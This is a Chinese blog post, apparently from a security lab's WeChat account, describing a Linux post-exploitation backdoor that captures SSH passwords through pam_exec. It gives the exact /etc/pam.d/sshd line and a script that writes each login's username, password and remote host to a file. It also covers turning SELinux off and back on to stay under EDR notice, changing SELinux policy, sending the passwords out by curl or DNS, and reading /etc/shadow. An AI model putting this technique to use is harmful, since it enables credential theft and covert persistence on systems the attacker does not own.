Liunx_后门_PAM_EXEC 不用第三方应用和重启抓取ssh密码

9bie 影域实验室 2024年07月12日 16:17

一、开始

先说优点,系统自带不安装第三方应用,不用重启,和 strace 方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送。

缺点:要临时关闭 selinux。

pam_exec.so 是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在/etc/pam.d/sshd 的第一行,加上

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh


其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题然后在 /tmp/sshd.sh 里写上语句

#!/bin/sh
echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log           

图片

还要记住一定要设置所有用户得可执行权限!!chmod 777 /tmp/sshd.sh 或者 chmod u+x /tmp/sshd.sh,不然也会执行失败。

然后连接 ssh 到我们自己,就可以抓到密码辣

图片

能写 bash 这下玩法就多了,比如 curl/dns 发送密码,抓到密码自动删除等等当然这会有两个问题,一个是默认要关闭 selinux,不然抓不到          

二、问题一: selinux

当你修改完上面问题之后发现不生效,可以查看 /var/log/secure会发现如下内容:

图片

这时候需要执行 setenforce 0 临时关闭 selinux 才可以执行抓脚本的密码如果担心被发现可以在上面脚本最后加上 setenforce 1,抓到密码后恢复 selinux 状态不过这样不太稳妥,可能会有 EDR 监控关闭 selinux 的行为,我们一关就告警。

还有一种方案就是修改 selinux 规则,在我们修改完规则之后,使用    

audit2allow -aaudit2allow -a -M localsemodule -i local.pp

 来修改 selinux 规则,但是有些发行版默认不带 au­dit2al­low,所以自行取舍


三、问题二:判断密码正确

默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。

Ippsec 的方法是,把 

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

 的 ex­pose_au­th­tok 约束删了,然后放在认证成功后面

这样子如果脚本接收到一个空字符的信号,就代表程序 PAM 已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到 ippsec 用 go 代码实现了这个流程

要是换我的话可能会用另一个暴力方法实现,那就是直接读取 /etc/shadow,用我们脚本手动验证一遍 hash 是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧


          

              

微信扫一扫
关注该公众号